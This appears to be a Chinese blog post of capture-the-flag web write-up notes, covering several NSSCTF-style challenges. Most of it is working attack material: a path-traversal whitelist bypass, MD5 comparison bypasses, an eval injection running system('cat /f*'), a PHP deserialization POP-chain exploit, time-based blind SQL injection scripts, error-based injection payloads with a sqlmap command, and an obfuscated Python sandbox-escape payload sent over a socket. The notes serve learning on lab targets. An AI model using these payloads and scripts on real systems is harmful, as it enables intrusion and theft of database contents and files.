    mb_substr函数:  从一个字符串中提取子字符串
     
    mb_substr ($str , $start , $length )
    //substr() 函数只针对英文字符,而mb_substr()对于中文也适用
    $str:    原始字符串
    $start:  起始位置,如果为正数,则从字符串的开头开始计算;如果是负数,则从字符串的末尾开始计算
    $length: 可选参数,表示要提取的子字符串的长度,如果没赋值,则提取从开始到字符串结束的所有字符

'.' 是 PHP 中的字符串连接运算符,它用于将两个字符串连接在一起,形成一个更长的字符串

在这里,它将 $page 变量的值和一个问号字符 '?' 连接在一起,形成一个新的字符串,在这个新的字符串中查找问号是否存在,那么很明显能找到

首先使用mb_strpos函数找到$page中第一个问号的位置,然后使用mb_substr函数将问号之前的部分赋值作为$_page进行处理
经过mb_strpos和mb_substr函数得到的$_page如果在白名单中,返回true

后面的代码对$page 进行url解密之后赋值给$_page,再次进行mb_substr函数得到新的$_page,再次判断是否在白名单中,不过如果传入的是正常的字符串,url解码之后还是本身,就没意义了
如果这一步进行完$page还不在白名单中,就会返回false

结合起来发现,只需要传入一个在白名单内的文件名(source.php或者hint.php)并在后面加上问号?

就可以保证在第二次if(in_array($_page, $whitelist))匹配查找的内容在白名单,返回true,退出checkfile方法,后面的urldecode代码都是用不到的
不在文件名后面加?问号的话代码自动加的?会添加在参数末尾,这样截取的内容就不满足白名单
关于include函数

这样的话,参数的格式就是source.php? + 文件名

include()函数可以传入文件的绝对路径,也可以是相对路径

而参数是作为include()函数的参数执行文件包含的,绝对路径我们不知道,只能用相对路径

如果直接传入source.php?ffffllllaaaagggg,那么肯定会报错,因为没有这么一个文件名

实践出真知, 使用 include($_GET['file']); 这个简单的代码来简单说明一下

下图中的phpinfo.php是代码文件目录下面的一个php文件,abc是我随便输入的,没有这个目录,如果正常输入abc/phpinfo.php 是不行的,即使这个目录是存在的,也是会报错,因为格式不对

但是只要用../ 退回一级,就可以正常包含phpinfo.php

但是如果把abc 换成 abc? ,只要出现了? 那么就会报错

因为在windows文件名不能包含?

但是这里题目的环境是debian 不是windows系统 所以可以

那么这里搞清楚了,剩下的就是查找flag文件的具体路径了

从source.php?/ffffllllaaaagggg 开始,逐级用../进行目录穿越 经过四次目录穿越发现成功执行了命令,得到了flag

其实发现文件名也提示了我们要使用四层目录,文件名是4个f l a g

构造

http://node4.anna.nssctf.cn:28698/source.php?file=source.php?/../../../../ffffllllaaaagggg

即可得到flag

cve-2020-7066,搜索了解该漏洞。发现与get_headers()函数和%00截断有关系

奇妙的字符串

奇妙的字符串,又跟 MD5 有关,有两个:

一个是 MD5 加密后弱比较等于自身,这个字符串是 **0e215962017 **
另一个是 MD5 加密后变成万能密码,这个字符串是 ffifdyop :
![[Pasted image 20241128194028.png]]

MD5 弱比较

方法很多,这里用数组绕过,GET 传参:

?x[]=1&y[]=2

MD5 强比较

通过上一关后,跳转到新页面,内容如下:

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
    echo $FLAG;
} 

使用数组绕过,POST 传参 payload 如下:

wqh[]=1&dsy[]=2

[UUCTF 2022 新生赛]ez_rce

题目

居然都不输入参数,可恶!!!!!!!!!`     
<?php   ## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????   
if(isset($_GET['code'])){    $code=$_GET['code'];       if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){           echo '看看你输入的参数!!!不叫样子!!';echo '<br>';           eval($code);       }       else{           die("你想干什么?????????");       }   }   else{       echo "居然都不输入参数,可恶!!!!!!!!!";    show_source(__FILE__);   }

![[fa8f9e93e9.png]]
![[873d6a93b7.png]]

<?php   error_reporting(0);   if(isset($_GET['cxk'])){    $cxk=$_GET['cxk'];       if(file_get_contents($cxk)=="ctrl"){           echo $flag;       }else{           echo "洗洗睡吧";       }   }else{       echo "nononoononoonono";   }   ?>` NSSCTF{fded4ab2-699c-4644-b2bc-1620a6678468}

请求1.get:?cxk=php://input 和 post:ctrl
请求2.直接get:?cxk=data://text/plain;base64,Y3RybA==

MD5

md5加密之后前两位为0e 的纯数字:
240610708 314282422 571579406 903251147
md5加密之后前两位为0e 的纯字母:
QLTHNDT QNKCDZO EEIZDOI TUFEPMC
post传参输入

shell=&nss=}system('ls');//
nss=echo 123;}system('cat /f*');//&shell=

传入nss参数变成

function lambda_1(){}      system('ls');//

Uuencode编码,然后http://www.hiencode.com/uu.html直接在线解码

[SWPUCTF 2021 新生赛]pop

1.源码

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

2.查找入口

# 传参$w00m,直接反序列化,入口就在__destruct,或者_wakeup,这里的w22m符合条件
class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

3.找链子

# echo一个对象,调用__toString方法,然后调用内部w00m的方法,由此可得链子如下
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()

4.写exp

<?php

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;

}
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
# 链子
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
?>

盲注代码

blindsql1

  
import requests  
import string  
import time  
  
url = 'http://127.0.0.1:62484/'  
dic = string.ascii_lowercase + string.digits + '{}-_'  
out = ''  
for j in range(1, 100):  
    a = 1  # 设置一个标志位,用来判断是否已经猜到了最后一位  
    for k in dic:  
        #payload = f"student_name=0'or%09if(database()%09like%09%27{out+k}%25%27,sleep(1),0)and%271" # 猜数据库名  
        #print(payload)  
        payload = f"student_name=0'or%09||if((select%09table_name%09from%09information_schema.tables%09where%09table_schema%09like%09'flag'limit%092,1)like'{out+k}%25',sleep(1),0)and%271"  
        #payload = f"student_name=Alice%27||if((select%09column_name%09from%09information_schema.columns%09where%09table_schema%09like%09'ctf'and%09table_name%09like'secrets'limit%091,1)like'{out+k}%25',sleep(1),0)and%271"  
        payload = f"student_name=Alice%27||if((select%09secret_value%09from%09ctf.secrets%09limit%092,1)like%09'{out + k}%25',sleep(1),0)and%271"  
  
        re = requests.get(url, params=payload)  
        # print(re.status_code)  
        t = re.elapsed.total_seconds()  
        # print(f"{j}:{time}")  
        if t > 1.5:  
            print(k)  
            a = 0  # 如果找到字符,则将标志位置0  
            out += k  
            print(out)  
            time.sleep(1)  
            break  # 跳出内层的for循环,继续遍历下一位  
    # if a == 1: #在进行下一次循环前,先判断当前字符是否找到  
    #     break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符  
print(out)

blindsql2

爆破当前数据库所有表名

import requests, string, time

url = 'http://ip:port'

result = ''
for i in range(1,100):
    print(f'[+]bruting at {i}')
    for c in string.ascii_letters + string.digits + ',_-{}':
        time.sleep(0.01) # 限制速率,防止请求过快

        print('[+]trying:', c)

        tables = f'(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)like(database())))'

        # 获取第 i 个字符,并计算 ascii 值
        char = f'(ord(mid({tables},{i},1)))'

        # 爆破该 ascii 值
        b = f'(({char})in({ord(c)}))'

        # 若 ascii 猜对了,会执行 sleep(1.5)
        p = f'Alice\'and(if({b},sleep(1.5),0))#'

        res = requests.get(url, params={'student_name':p})

        if res.elapsed.total_seconds() > 1.5:
            print('[*]bingo:', c)
            result += c
            print(result)
            break

爆破 secrets 表的列名

import requests, string, time

url = 'http://ip:port'

result = ''
for i in range(1,100):
    print(f'[+]bruting at {i}')
    for c in string.ascii_letters + string.digits + ',_-{}':
        time.sleep(0.01) # 限制速率,防止请求过快

        print('[+]trying:' ,c)

        columns = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secrets\')))'

        # 获取第 i 个字符,并计算 ascii 值
        char = f'(ord(mid({columns},{i},1)))'

        # 爆破该 ascii 值
        b = f'(({char})in({ord(c)}))'

        # 若 ascii 猜对了,会执行 sleep(1.5)
        p = f'Alice\'and(if({b},sleep(1.5),0))#'

        res = requests.get(url, params={'student_name':p})

        if res.elapsed.total_seconds() > 1.5:
            print('[*]bingo:', c)
            result += c
            print(result)
            break

爆破 flag

import requests, string, time

url = 'http://ip:port'

result = ''
for i in range(1,100):
    print(f'[+] bruting at {i}')
    for c in string.ascii_letters + string.digits + ',_-{}':
        time.sleep(0.01) # 限制速率,防止请求过快

        print('[+] trying:', c)

        flag = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'

        # 获取第 i 个字符,并计算 ascii 值
        char = f'(ord(mid({flag},{i},1)))'

        # 爆破该 ascii 值
        b = f'(({char})in({ord(c)}))'

        # 若 ascii 猜对了,会执行 sleep(1.5)
        p = f'Alice\'and(if({b},sleep(1.5),0))#'

        res = requests.get(url, params={'student_name':p})

        if res.elapsed.total_seconds() > 1.5:
            print('[*] bingo:', c)
            result += c
            print(result)
            break

WhereIsFlag

在后续,大家会接触到很多拿到服务器 Shell 后找到 flag 的场景。本题主要考查了这部分知识,在各个常见位置设置了或真或假的 flag。并且介绍了 cd ls cat 等常用命令的基础用法。

其实这题的后端是个 Python 程序(嘛,都说了是 Virtual Linux 了啦)(喜欢椰奶精心设计的雌小鬼版 Linux 吗)

真正的 flag 在 /proc/self/environ 文件(可用于获取当前进程的环境变量)内,只要执行下面的命令就能拿到 flag.

shell

cat /proc/self/environ

proc 目录是对当前操作系统进程的虚拟映射,在许多攻击场景中都有妙用,在此不展开。

GIF分割
https://tool.lu/gifsplitter/

# 你能在一秒内打出八句英文吗?

import requests  
from bs4 import BeautifulSoup  
  
# 创建会话  
session = requests.Session()  
  
# 访问初始页面,提取欢迎信息  
response = session.get('http://127.0.0.1:61266/')  
welcome_title = BeautifulSoup(response.content, 'html.parser').find('h1').text  
print(f'欢迎信息: {welcome_title}')  
  
# 获取需要打字的文本  
text = BeautifulSoup(session.get('http://127.0.0.1:61266/start').content, 'html.parser').find('p', id='text').text  
print(f'需要打字的文本: {text}')  
  
# 提交用户输入  
submit_response = session.post('http://127.0.0.1:61266/submit', data={'user_input': text})  
submit_soup = BeautifulSoup(submit_response.content, 'html.parser')  
  
# 输出提交结果  
print(f'提交结果: {submit_soup.find("p").text}')  
for idx, info in enumerate(submit_soup.find_all('p')):  
    print(f'额外信息 {idx + 1}: {info.text}')

error

爆出数据库名字
-1'and(select extractvalue(1,concat('~',(select database()))))#	报错注入

```c
爆出所有数据库名
-1'and(select extractvalue(1,concat('~',(select group_concat(schema_name) from information_schema.schemata))))#
爆出数据库test_db下所有的表
-1'and(select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='test_db'))))#
爆出test_db数据库下test_tb表所有的列名
-1'and(select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name="test_tb" and table_schema='test_db'))))#

python sqlmap.py -u “http://node4.anna.nssctf.cn:28504/index.php?id=1” -D test_db -T test_tb -C flag --dump

查询flag
-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 1 , 31)))))#  0-30位 左边30位


-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 31 , 60)))))#  31-60位 右边边31位

pyjail

match case 是 Python 3.10 才有的语法,可以用来获取一个对象的属性

python

class Dog:
    def __init__(self, name):
        self.name = name

def describe_pet(pet):
    match pet:
        case Dog(name=name1):
            print(name1) # 这个位置会输出 Rover,原因是 pet 对象的属性 name 被传给了 name1

pet = Dog("Rover")
describe_pet(pet)

str() 是一个空字符串对象,下面这部分等价于 bfc = ''.join([chr(37),chr(99),]),也就是 bfc=%c

python



match str():
    case str(join=join):
        bfc = join(list((chr(37),chr(99),)))

后面拿到了 %c,就可以使用 % 构造字符串

完整的 EXP 如下:

python

import socket,time
code = \
'''
bfc = None
buil = None
impo = None
os = None
system = None
cmd = None
match str():
    case str(join=join):
        bfc = join(list((chr(37),chr(99),)))
        buil = bfc*12
        buil = buil%(95,95,98,117,105,108,116,105,110,115,95,95)
        impo = bfc*10
        impo = impo%(95,95,105,109,112,111,114,116,95,95)
        system = bfc*6
        system = system%(115,121,115,116,101,109)
        os = bfc*2
        os = os%(111,115)
        cmd = bfc*7
        cmd = cmd%(99,97,116,32,47,102,42)

match vars():
    case dict(get=get):
        bui = vars(get(buil))
        match bui:
            case dict(get=get2):
                os = vars(get2(impo)(os))
                match os:
                    case dict(get=get3):
                        get3(system)(cmd)

EOF
'''

def send_messages(host, port):
    # 创建一个 TCP/IP 套接字
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 连接到服务器
        print(f"正在连接到 {host}:{port}")
        sock.connect((host, port))

        # 要发送的消息
        messages = [
            "start",
            code,
        ]

        # 逐条发送消息
        for message in messages:
            sock.sendall(message.encode())  # 将字符串编码为字节数据
            time.sleep(2)
        response = sock.recv(1024)  # 接收来自服务器的回应
        print(f"收到回应: {response.decode()}")

    except Exception as e:
        print(f"发生错误: {e}")

    finally:
        sock.close()

if __name__ == "__main__":
    target_host = "127.0.0.1"  # 替换为你想要发送消息的主机IP
    target_port = 32808        # 替换为目标端口

    send_messages(target_host, target_port)
posted @   weikelai  阅读(40)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
点击右上角即可分享
微信分享提示